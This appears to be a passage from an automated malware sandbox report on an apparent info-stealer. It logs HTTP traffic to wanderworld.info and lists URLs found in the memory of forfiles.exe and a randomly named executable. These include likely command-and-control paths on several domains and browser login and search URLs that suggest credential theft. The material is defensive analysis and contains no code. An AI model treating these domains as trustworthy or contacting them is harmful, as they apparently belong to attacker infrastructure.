            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 09 Oct 2024 12:47:00 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0X-UA-Compatible: IE=edgeLink: <https://wanderworld.info/wp-json/>; rel="https://api.w.org/"Content-Encoding: gzipVary: Accept-EncodingConnection: closeTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8Data Raw: 31 65 63 63 0d 0a 1f 8b 08 00 00 00 00 00 00 03 c4 3b 6b 73 9b 48 b6 9f c7 bf a2 4d 6a 1d 98 00 02 f4 34 8a 32 33 9b 49 b6 f6 56 66 9c 8a 93 da ba 15 a7 5c 2d 68 49 24 08 98 06 2c 6b 35 fa ef f7 74 f3 14 6a 3d 2c 25 75 53 89 2c ba cf ab cf fb 34 ce c5 cb cb df 6f 5e 7f fc df f7 6f d0 2c 99 fb af 2e 5e b2 1f c8 c7 c1 74 24 91 40 fb 74 2b a1 88 92 89 f7 38 92 c2 a9 0d 40 49 14 db ad 56 38 8d f4 39 69 05 f1 33 09 79 09 99 c7 4e 18 11 fe 2d 59 46 64 24 31 38 00 8b 9d 19 99 63 3d a4 d3 d6 6f 34 f1 1c 9f 48 88 f1 20 d8 7d 75 f1 d3 cb 39 49 30 72 66 98 c6 24 19 49 9f 3e be d5 06 12 5b f7 bd e0 1b a2 c4 1f 49 11 0d 27 1e c3 9a 81 10 25 d9 e9 3c 9a 72 a2 8f 93 a0 65 9a 52 49 2b c0 73 60 fe e0 91 45 14 d2 44 42 4e 18 24 24 00 da 0b cf 4d 66 23 97 3c 78 0e d1 f8 83 8a bc c0 4b 3c ec 6b b1 83 7d 32 62 54 5e 5e 6a 1a ba 25 98 3a 33 f4 26 98 7a 01 41 37 51 e2 cd bd ff e2 c4 0b 03 34 5e a2 0f 18 44 fb 03 27 33 f4 fe c3 0d d2 4a 85 50 58 9f c3 b2 ee 84 f3 16 d2 34 20 96 78 89 4f 5e bd c7 53 82 fe 0c 13 f4 36 4c 03 17 30 16 38 70 09 45 8b 90 fa ee cb 56 06 74 51 17 9f 86 e3 30 89 6b c2 4f 42 df 0f 17 2a 0a 42 0f 50 1f a5 56 01 0f da 89 08 4d 96 dc 36 7e c8 ce 51 43 23 c1 3d 33 9f 18 9a 99 a9 06 8b 0b eb ec 80 66 52 d6 c0 f7 1e 6a 17 91 18 dc e3 9e 1d b1 6e 17 31 5e a6 88 64 e1 25 09 a1 b6 83 a9 5b c3 89 d3 f9 1c d3 e5 bd 8f e9 94 dc 7b 73 90 65 27 ea 09 82 c7 0e f5 a2 04 65 7e 8c a3 c8 f7 1c 6e fd 96 ef be f8 1a 87 01 50 f3 71 1c 83 9d c0 e4 1a b3 b9 96 b9 b9 06 a7 95 5e ad a4 5f 39 b7 c7 44 b2 a5 c2 3b aa 38 90 54 e9 d7 29 c5 d1 4c b2 3f 03 28 37 83 2d bd 27 94 51 86 3d cf ad a1 65 c2 71 d9 74 2f 98 84 ad 67 51 01 c8 f5 68 6f ea 4f 95 52 ea ef 41 07 00 90 c2 63 20 d8 9d 7b c1 af 02 80 4c 9d 76 25 da bf d9 c2 cd f8 2b 71 92 23 e4 f3 c3 69 78 50 8e d6 22 d2 72 8b b4 d2 c8 0f b1 1b b7 2c c3 ea b4 8c 7e cb 01 8f 89 88 ab d5 70 b4 77 40 54 33 f5 28 60 da cb 11 3f fd 40 0e 38 62 f6 de d6 ae 17 bc 83 bc 98 72 05 e5 c9 51 cd 32 0b 3c b7 bb 7d 78 9a 11 6f 3a 63 96 37 cd be b4 5e ab 95 1e ff 43 c6 b7 10 00 47 e8 70 41 c6 71 06 79 d0 9c 62 2f c0 3e b8 7e 80 13 f2 a7 70 3b 4a c7 be 17 cf 08 e5 66 3e ce e1 d6 c2 d3 37 ce c7 82 ab 3c 1f 3b 46 94 2d 64 c7 a8 c4 dd 1f 84 c0 29 7e 0f f9 e8 66 72 8c 7c 85 b2 76 08 f8 65 fd b2 95 05 74 9e dd 5b 55 02 ff 4f 48 dd f7 94 c4 31 ba 7d 73 83 22 3f 85 84 cf 33 f7 45 55 80 9e bb 41 ac b1 02 48 12 67 f6 3c ab 42 cf b7 e5 78 ce 33 c7 41 ac c5 42 9f 86 e1 d4 87 3c 35 9d e3 00 24 a5 ac 5e 1c 87 3d 01 7f 8e 73 7c 1c 79 b1 00 b3 b2 bc 24 c8 5f 34 8e 5f 3c ce Data Ascii: 1ecc;ksHMj423IVf\-hI$,k5tj=,%
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 09 Oct 2024 12:47:02 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0X-UA-Compatible: IE=edgeLink: <https://wanderworld.info/wp-json/>; rel="https://api.w.org/"Content-Encoding: gzipVary: Accept-EncodingConnection: closeTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8Data Raw: 31 65 63 63 0d 0a 1f 8b 08 00 00 00 00 00 00 03 c4 3b 6b 73 9b 48 b6 9f c7 bf a2 4d 6a 1d 98 00 02 f4 34 8a 32 33 9b 49 b6 f6 56 66 9c 8a 93 da ba 15 a7 5c 2d 68 49 24 08 98 06 2c 6b 35 fa ef f7 74 f3 14 6a 3d 2c 25 75 53 89 2c ba cf ab cf fb 34 ce c5 cb cb df 6f 5e 7f fc df f7 6f d0 2c 99 fb af 2e 5e b2 1f c8 c7 c1 74 24 91 40 fb 74 2b a1 88 92 89 f7 38 92 c2 a9 0d 40 49 14 db ad 56 38 8d f4 39 69 05 f1 33 09 79 09 99 c7 4e 18 11 fe 2d 59 46 64 24 31 38 00 8b 9d 19 99 63 3d a4 d3 d6 6f 34 f1 1c 9f 48 88 f1 20 d8 7d 75 f1 d3 cb 39 49 30 72 66 98 c6 24 19 49 9f 3e be d5 06 12 5b f7 bd e0 1b a2 c4 1f 49 11 0d 27 1e c3 9a 81 10 25 d9 e9 3c 9a 72 a2 8f 93 a0 65 9a 52 49 2b c0 73 60 fe e0 91 45 14 d2 44 42 4e 18 24 24 00 da 0b cf 4d 66 23 97 3c 78 0e d1 f8 83 8a bc c0 4b 3c ec 6b b1 83 7d 32 62 54 5e 5e 6a 1a ba 25 98 3a 33 f4 26 98 7a 01 41 37 51 e2 cd bd ff e2 c4 0b 03 34 5e a2 0f 18 44 fb 03 27 33 f4 fe c3 0d d2 4a 85 50 58 9f c3 b2 ee 84 f3 16 d2 34 20 96 78 89 4f 5e bd c7 53 82 fe 0c 13 f4 36 4c 03 17 30 16 38 70 09 45 8b 90 fa ee cb 56 06 74 51 17 9f 86 e3 30 89 6b c2 4f 42 df 0f 17 2a 0a 42 0f 50 1f a5 56 01 0f da 89 08 4d 96 dc 36 7e c8 ce 51 43 23 c1 3d 33 9f 18 9a 99 a9 06 8b 0b eb ec 80 66 52 d6 c0 f7 1e 6a 17 91 18 dc e3 9e 1d b1 6e 17 31 5e a6 88 64 e1 25 09 a1 b6 83 a9 5b c3 89 d3 f9 1c d3 e5 bd 8f e9 94 dc 7b 73 90 65 27 ea 09 82 c7 0e f5 a2 04 65 7e 8c a3 c8 f7 1c 6e fd 96 ef be f8 1a 87 01 50 f3 71 1c 83 9d c0 e4 1a b3 b9 96 b9 b9 06 a7 95 5e ad a4 5f 39 b7 c7 44 b2 a5 c2 3b aa 38 90 54 e9 d7 29 c5 d1 4c b2 3f 03 28 37 83 2d bd 27 94 51 86 3d cf ad a1 65 c2 71 d9 74 2f 98 84 ad 67 51 01 c8 f5 68 6f ea 4f 95 52 ea ef 41 07 00 90 c2 63 20 d8 9d 7b c1 af 02 80 4c 9d 76 25 da bf d9 c2 cd f8 2b 71 92 23 e4 f3 c3 69 78 50 8e d6 22 d2 72 8b b4 d2 c8 0f b1 1b b7 2c c3 ea b4 8c 7e cb 01 8f 89 88 ab d5 70 b4 77 40 54 33 f5 28 60 da cb 11 3f fd 40 0e 38 62 f6 de d6 ae 17 bc 83 bc 98 72 05 e5 c9 51 cd 32 0b 3c b7 bb 7d 78 9a 11 6f 3a 63 96 37 cd be b4 5e ab 95 1e ff 43 c6 b7 10 00 47 e8 70 41 c6 71 06 79 d0 9c 62 2f c0 3e b8 7e 80 13 f2 a7 70 3b 4a c7 be 17 cf 08 e5 66 3e ce e1 d6 c2 d3 37 ce c7 82 ab 3c 1f 3b 46 94 2d 64 c7 a8 c4 dd 1f 84 c0 29 7e 0f f9 e8 66 72 8c 7c 85 b2 76 08 f8 65 fd b2 95 05 74 9e dd 5b 55 02 ff 4f 48 dd f7 94 c4 31 ba 7d 73 83 22 3f 85 84 cf 33 f7 45 55 80 9e bb 41 ac b1 02 48 12 67 f6 3c ab 42 cf b7 e5 78 ce 33 c7 41 ac c5 42 9f 86 e1 d4 87 3c 35 9d e3 00 24 a5 ac 5e 1c 87 3d 01 7f 8e 73 7c 1c 79 b1 00 b3 b2 bc 24 c8 5f 34 8e 5f 3c ce Data Ascii: 1ecc;ksHMj423IVf\-hI$,k5tj=,%
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 09 Oct 2024 12:47:05 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0X-UA-Compatible: IE=edgeLink: <https://wanderworld.info/wp-json/>; rel="https://api.w.org/"Content-Encoding: gzipVary: Accept-EncodingConnection: closeTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8Data Raw: 31 65 63 63 0d 0a 1f 8b 08 00 00 00 00 00 00 03 c4 3b 6b 73 9b 48 b6 9f c7 bf a2 4d 6a 1d 98 00 02 f4 34 8a 32 33 9b 49 b6 f6 56 66 9c 8a 93 da ba 15 a7 5c 2d 68 49 24 08 98 06 2c 6b 35 fa ef f7 74 f3 14 6a 3d 2c 25 75 53 89 2c ba cf ab cf fb 34 ce c5 cb cb df 6f 5e 7f fc df f7 6f d0 2c 99 fb af 2e 5e b2 1f c8 c7 c1 74 24 91 40 fb 74 2b a1 88 92 89 f7 38 92 c2 a9 0d 40 49 14 db ad 56 38 8d f4 39 69 05 f1 33 09 79 09 99 c7 4e 18 11 fe 2d 59 46 64 24 31 38 00 8b 9d 19 99 63 3d a4 d3 d6 6f 34 f1 1c 9f 48 88 f1 20 d8 7d 75 f1 d3 cb 39 49 30 72 66 98 c6 24 19 49 9f 3e be d5 06 12 5b f7 bd e0 1b a2 c4 1f 49 11 0d 27 1e c3 9a 81 10 25 d9 e9 3c 9a 72 a2 8f 93 a0 65 9a 52 49 2b c0 73 60 fe e0 91 45 14 d2 44 42 4e 18 24 24 00 da 0b cf 4d 66 23 97 3c 78 0e d1 f8 83 8a bc c0 4b 3c ec 6b b1 83 7d 32 62 54 5e 5e 6a 1a ba 25 98 3a 33 f4 26 98 7a 01 41 37 51 e2 cd bd ff e2 c4 0b 03 34 5e a2 0f 18 44 fb 03 27 33 f4 fe c3 0d d2 4a 85 50 58 9f c3 b2 ee 84 f3 16 d2 34 20 96 78 89 4f 5e bd c7 53 82 fe 0c 13 f4 36 4c 03 17 30 16 38 70 09 45 8b 90 fa ee cb 56 06 74 51 17 9f 86 e3 30 89 6b c2 4f 42 df 0f 17 2a 0a 42 0f 50 1f a5 56 01 0f da 89 08 4d 96 dc 36 7e c8 ce 51 43 23 c1 3d 33 9f 18 9a 99 a9 06 8b 0b eb ec 80 66 52 d6 c0 f7 1e 6a 17 91 18 dc e3 9e 1d b1 6e 17 31 5e a6 88 64 e1 25 09 a1 b6 83 a9 5b c3 89 d3 f9 1c d3 e5 bd 8f e9 94 dc 7b 73 90 65 27 ea 09 82 c7 0e f5 a2 04 65 7e 8c a3 c8 f7 1c 6e fd 96 ef be f8 1a 87 01 50 f3 71 1c 83 9d c0 e4 1a b3 b9 96 b9 b9 06 a7 95 5e ad a4 5f 39 b7 c7 44 b2 a5 c2 3b aa 38 90 54 e9 d7 29 c5 d1 4c b2 3f 03 28 37 83 2d bd 27 94 51 86 3d cf ad a1 65 c2 71 d9 74 2f 98 84 ad 67 51 01 c8 f5 68 6f ea 4f 95 52 ea ef 41 07 00 90 c2 63 20 d8 9d 7b c1 af 02 80 4c 9d 76 25 da bf d9 c2 cd f8 2b 71 92 23 e4 f3 c3 69 78 50 8e d6 22 d2 72 8b b4 d2 c8 0f b1 1b b7 2c c3 ea b4 8c 7e cb 01 8f 89 88 ab d5 70 b4 77 40 54 33 f5 28 60 da cb 11 3f fd 40 0e 38 62 f6 de d6 ae 17 bc 83 bc 98 72 05 e5 c9 51 cd 32 0b 3c b7 bb 7d 78 9a 11 6f 3a 63 96 37 cd be b4 5e ab 95 1e ff 43 c6 b7 10 00 47 e8 70 41 c6 71 06 79 d0 9c 62 2f c0 3e b8 7e 80 13 f2 a7 70 3b 4a c7 be 17 cf 08 e5 66 3e ce e1 d6 c2 d3 37 ce c7 82 ab 3c 1f 3b 46 94 2d 64 c7 a8 c4 dd 1f 84 c0 29 7e 0f f9 e8 66 72 8c 7c 85 b2 76 08 f8 65 fd b2 95 05 74 9e dd 5b 55 02 ff 4f 48 dd f7 94 c4 31 ba 7d 73 83 22 3f 85 84 cf 33 f7 45 55 80 9e bb 41 ac b1 02 48 12 67 f6 3c ab 42 cf b7 e5 78 ce 33 c7 41 ac c5 42 9f 86 e1 d4 87 3c 35 9d e3 00 24 a5 ac 5e 1c 87 3d 01 7f 8e 73 7c 1c 79 b1 00 b3 b2 bc 24 c8 5f 34 8e 5f 3c ce Data Ascii: 1ecc;ksHMj423IVf\-hI$,k5tj=,%
            Source: forfiles.exe, 00000008.00000002.4609863087.00000000073E0000.00000004.00000800.00020000.00000000.sdmp, forfiles.exe, 00000008.00000002.4607079380.0000000005D54000.00000004.10000000.00040000.00000000.sdmp, RVeTDjgqyLeJ.exe, 00000009.00000002.4605999727.0000000004374000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: http://giganet.ua/ru
            Source: forfiles.exe, 00000008.00000002.4609863087.00000000073E0000.00000004.00000800.00020000.00000000.sdmp, forfiles.exe, 00000008.00000002.4607079380.0000000005D54000.00000004.10000000.00040000.00000000.sdmp, RVeTDjgqyLeJ.exe, 00000009.00000002.4605999727.0000000004374000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: http://inau.ua/
            Source: forfiles.exe, 00000008.00000002.4607079380.0000000005D54000.00000004.10000000.00040000.00000000.sdmp, RVeTDjgqyLeJ.exe, 00000009.00000002.4605999727.0000000004374000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: http://ogp.me/ns#
            Source: forfiles.exe, 00000008.00000002.4609863087.00000000073E0000.00000004.00000800.00020000.00000000.sdmp, forfiles.exe, 00000008.00000002.4607079380.0000000005D54000.00000004.10000000.00040000.00000000.sdmp, RVeTDjgqyLeJ.exe, 00000009.00000002.4605999727.0000000004374000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: http://partner.mirohost.net
            Source: RVeTDjgqyLeJ.exe, 00000009.00000002.4605999727.0000000004374000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: http://schema.org/Organization
            Source: forfiles.exe, 00000008.00000002.4607079380.000000000620A000.00000004.10000000.00040000.00000000.sdmp, RVeTDjgqyLeJ.exe, 00000009.00000002.4605999727.000000000482A000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: http://wanderworld.info/0or4/?LvYDDv8X=Lp5/
            Source: RVeTDjgqyLeJ.exe, 00000009.00000002.4608485857.00000000057AA000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.h45d.xyz
            Source: RVeTDjgqyLeJ.exe, 00000009.00000002.4608485857.00000000057AA000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.h45d.xyz/7o3y/
            Source: forfiles.exe, 00000008.00000002.4609863087.00000000073E0000.00000004.00000800.00020000.00000000.sdmp, forfiles.exe, 00000008.00000002.4607079380.0000000005D54000.00000004.10000000.00040000.00000000.sdmp, RVeTDjgqyLeJ.exe, 00000009.00000002.4605999727.0000000004374000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: http://www.ix.net.ua/ru
            Source: forfiles.exe, 00000008.00000003.2833482340.000000000768E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ac.ecosia.org/autocomplete?q=
            Source: RVeTDjgqyLeJ.exe, 00000009.00000002.4605999727.0000000003A08000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://admin.active24.cz/
            Source: forfiles.exe, 00000008.00000002.4607079380.00000000053E8000.00000004.10000000.00040000.00000000.sdmp, RVeTDjgqyLeJ.exe, 00000009.00000002.4605999727.0000000003A08000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://admin.active24.cz/en
            Source: forfiles.exe, 00000008.00000002.4607079380.00000000053E8000.00000004.10000000.00040000.00000000.sdmp, RVeTDjgqyLeJ.exe, 00000009.00000002.4605999727.0000000003A08000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://cdn.active24.eu
            Source: forfiles.exe, 00000008.00000002.4607079380.00000000053E8000.00000004.10000000.00040000.00000000.sdmp, RVeTDjgqyLeJ.exe, 00000009.00000002.4605999727.0000000003A08000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://cdn.active24.eu/fonts/OTF/Active24-Bold.otf
            Source: forfiles.exe, 00000008.00000002.4607079380.00000000053E8000.00000004.10000000.00040000.00000000.sdmp, RVeTDjgqyLeJ.exe, 00000009.00000002.4605999727.0000000003A08000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://cdn.active24.eu/fonts/OTF/Active24-Bold.woff2
            Source: forfiles.exe, 00000008.00000002.4607079380.00000000053E8000.00000004.10000000.00040000.00000000.sdmp, RVeTDjgqyLeJ.exe, 00000009.00000002.4605999727.0000000003A08000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://cdn.active24.eu/fonts/OTF/Active24-Medium.otf
            Source: forfiles.exe, 00000008.00000002.4607079380.00000000053E8000.00000004.10000000.00040000.00000000.sdmp, RVeTDjgqyLeJ.exe, 00000009.00000002.4605999727.0000000003A08000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://cdn.active24.eu/fonts/OTF/Active24-Medium.woff2
            Source: forfiles.exe, 00000008.00000002.4607079380.00000000053E8000.00000004.10000000.00040000.00000000.sdmp, RVeTDjgqyLeJ.exe, 00000009.00000002.4605999727.0000000003A08000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://cdn.active24.eu/fonts/OTF/Active24-Regular.otf
            Source: forfiles.exe, 00000008.00000002.4607079380.00000000053E8000.00000004.10000000.00040000.00000000.sdmp, RVeTDjgqyLeJ.exe, 00000009.00000002.4605999727.0000000003A08000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://cdn.active24.eu/fonts/OTF/Active24-Regular.woff2
            Source: forfiles.exe, 00000008.00000003.2833482340.000000000768E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
            Source: forfiles.exe, 00000008.00000003.2833482340.000000000768E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
            Source: forfiles.exe, 00000008.00000003.2833482340.000000000768E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
            Source: RVeTDjgqyLeJ.exe, 00000009.00000002.4605999727.0000000004698000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://chrisflynn.click/qpwk/?LvYDDv8X=rzSKD
            Source: forfiles.exe, 00000008.00000002.4609863087.00000000073E0000.00000004.00000800.00020000.00000000.sdmp, forfiles.exe, 00000008.00000002.4607079380.0000000005D54000.00000004.10000000.00040000.00000000.sdmp, RVeTDjgqyLeJ.exe, 00000009.00000002.4605999727.0000000004374000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://control.imena.ua/login.php?lang=2
            Source: forfiles.exe, 00000008.00000002.4609863087.00000000073E0000.00000004.00000800.00020000.00000000.sdmp, forfiles.exe, 00000008.00000002.4607079380.0000000005D54000.00000004.10000000.00040000.00000000.sdmp, RVeTDjgqyLeJ.exe, 00000009.00000002.4605999727.0000000004374000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://control.mirohost.net/auth/login.php?lang=ru
            Source: forfiles.exe, 00000008.00000003.2833482340.000000000768E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/ac/?q=
            Source: forfiles.exe, 00000008.00000003.2833482340.000000000768E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/chrome_newtab
            Source: forfiles.exe, 00000008.00000003.2833482340.000000000768E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
            Source: forfiles.exe, 00000008.00000002.4609863087.00000000073E0000.00000004.00000800.00020000.00000000.sdmp, forfiles.exe, 00000008.00000002.4607079380.0000000005D54000.00000004.10000000.00040000.00000000.sdmp, RVeTDjgqyLeJ.exe, 00000009.00000002.4605999727.0000000004374000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://fonts.googleapis.com/css?family=Open
            Source: forfiles.exe, 00000008.00000002.4609863087.00000000073E0000.00000004.00000800.00020000.00000000.sdmp, forfiles.exe, 00000008.00000002.4607079380.0000000005D54000.00000004.10000000.00040000.00000000.sdmp, RVeTDjgqyLeJ.exe, 00000009.00000002.4605999727.0000000004374000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://img.imena.ua/css/media-set.css
            Source: forfiles.exe, 00000008.00000002.4609863087.00000000073E0000.00000004.00000800.00020000.00000000.sdmp, forfiles.exe, 00000008.00000002.4607079380.0000000005D54000.00000004.10000000.00040000.00000000.sdmp, RVeTDjgqyLeJ.exe, 00000009.00000002.4605999727.0000000004374000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://img.imena.ua/js/bundle.min.js
            Source: forfiles.exe, 00000008.00000002.4603411208.0000000002ACF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
            Source: forfiles.exe, 00000008.00000003.2828870545.000000000766E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_authorize.srfhttps://login.live.com/oauth20_desktop.srfhttps://login.
            Source: forfiles.exe, 00000008.00000002.4603411208.0000000002ACF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_desktop.srf&lw=1&fl=wld2)
            Source: forfiles.exe, 00000008.00000002.4603411208.0000000002ACF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
            Source: forfiles.exe, 00000008.00000002.4603411208.0000000002ACF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033)
            Source: forfiles.exe, 00000008.00000002.4603411208.0000000002ACF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
            Source: forfiles.exe, 00000008.00000002.4603411208.0000000002AF7000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
            Source: forfiles.exe, 00000008.00000002.4609863087.00000000073E0000.00000004.00000800.00020000.00000000.sdmp, forfiles.exe, 00000008.00000002.4607079380.0000000005D54000.00000004.10000000.00040000.00000000.sdmp, RVeTDjgqyLeJ.exe, 00000009.00000002.4605999727.0000000004374000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://mail.mirohost.net
            Source: RVeTDjgqyLeJ.exe, 00000009.00000002.4605999727.0000000003A08000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.active24.cz/
            Source: forfiles.exe, 00000008.00000002.4607079380.00000000053E8000.00000004.10000000.00040000.00000000.sdmp, RVeTDjgqyLeJ.exe, 00000009.00000002.4605999727.0000000003A08000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.active24.cz/cart/domain-checker
            Source: RVeTDjgqyLeJ.exe, 00000009.00000002.4605999727.0000000003A08000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.active24.cz/support/
            Source: forfiles.exe, 00000008.00000003.2833482340.000000000768E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.ecosia.org/newtab/
            Source: forfiles.exe, 00000008.00000002.4607079380.0000000005256000.00000004.10000000.00040000.00000000.sdmp, RVeTDjgqyLeJ.exe, 00000009.00000002.4605999727.0000000003876000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000A.00000002.2938894647.000000001EF06000.00000004.80000000.00040000.00000000.sdmpString found in binary or memory: https://www.google.com
            Source: forfiles.exe, 00000008.00000003.2833482340.000000000768E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
            Source: RVeTDjgqyLeJ.exe, 00000009.00000002.4605999727.0000000004374000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.imena.ua/
            Source: RVeTDjgqyLeJ.exe, 00000009.00000002.4605999727.0000000004374000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.imena.ua/blog/
            Source: forfiles.exe, 00000008.00000002.4609863087.00000000073E0000.00000004.00000800.00020000.00000000.sdmp, forfiles.exe, 00000008.00000002.4607079380.0000000005D54000.00000004.10000000.00040000.00000000.sdmp, RVeTDjgqyLeJ.exe, 00000009.00000002.4605999727.0000000004374000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.imena.ua/check-domain
            Source: forfiles.exe, 00000008.00000002.4609863087.00000000073E0000.00000004.00000800.00020000.00000000.sdmp, forfiles.exe, 00000008.00000002.4607079380.0000000005D54000.00000004.10000000.00040000.00000000.sdmp, RVeTDjgqyLeJ.exe, 00000009.00000002.4605999727.0000000004374000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.imena.ua/check-domain?step=transfer
            Source: RVeTDjgqyLeJ.exe, 00000009.00000002.4605999727.0000000004374000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.imena.ua/contact
            Source: forfiles.exe, 00000008.00000002.4609863087.00000000073E0000.00000004.00000800.00020000.00000000.sdmp, forfiles.exe, 00000008.00000002.4607079380.0000000005D54000.00000004.10000000.00040000.00000000.sdmp, RVeTDjgqyLeJ.exe, 00000009.00000002.4605999727.0000000004374000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.imena.ua/datacenter
            Source: forfiles.exe, 00000008.00000002.4609863087.00000000073E0000.00000004.00000800.00020000.00000000.sdmp, forfiles.exe, 00000008.00000002.4607079380.0000000005D54000.00000004.10000000.00040000.00000000.sdmp, RVeTDjgqyLeJ.exe, 00000009.00000002.4605999727.0000000004374000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.imena.ua/documents
            Source: RVeTDjgqyLeJ.exe, 00000009.00000002.4605999727.0000000004374000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.imena.ua/domains
            Source: forfiles.exe, 00000008.00000002.4609863087.00000000073E0000.00000004.00000800.00020000.00000000.sdmp, forfiles.exe, 00000008.00000002.4607079380.0000000005D54000.00000004.10000000.00040000.00000000.sdmp, RVeTDjgqyLeJ.exe, 00000009.00000002.4605999727.0000000004374000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.imena.ua/domains/premium-domains
            Source: forfiles.exe, 00000008.00000002.4609863087.00000000073E0000.00000004.00000800.00020000.00000000.sdmp, forfiles.exe, 00000008.00000002.4607079380.0000000005D54000.00000004.10000000.00040000.00000000.sdmp, RVeTDjgqyLeJ.exe, 00000009.00000002.4605999727.0000000004374000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.imena.ua/domains/prices
            Source: forfiles.exe, 00000008.00000002.4609863087.00000000073E0000.00000004.00000800.00020000.00000000.sdmp, forfiles.exe, 00000008.00000002.4607079380.0000000005D54000.00000004.10000000.00040000.00000000.sdmp, RVeTDjgqyLeJ.exe, 00000009.00000002.4605999727.0000000004374000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.imena.ua/domains/regtm
            Source: RVeTDjgqyLeJ.exe, 00000009.00000002.4605999727.0000000004374000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.imena.ua/en
            Source: forfiles.exe, 00000008.00000002.4609863087.00000000073E0000.00000004.00000800.00020000.00000000.sdmp, forfiles.exe, 00000008.00000002.4607079380.0000000005D54000.00000004.10000000.00040000.00000000.sdmp, RVeTDjgqyLeJ.exe, 00000009.00000002.4605999727.0000000004374000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.imena.ua/en/how-search
            Source: RVeTDjgqyLeJ.exe, 00000009.00000002.4605999727.0000000004374000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.imena.ua/help
            Source: RVeTDjgqyLeJ.exe, 00000009.00000002.4605999727.0000000004374000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.imena.ua/hosting
            Source: forfiles.exe, 00000008.00000002.4609863087.00000000073E0000.00000004.00000800.00020000.00000000.sdmp, forfiles.exe, 00000008.00000002.4607079380.0000000005D54000.00000004.10000000.00040000.00000000.sdmp, RVeTDjgqyLeJ.exe, 00000009.00000002.4605999727.0000000004374000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.imena.ua/how-search
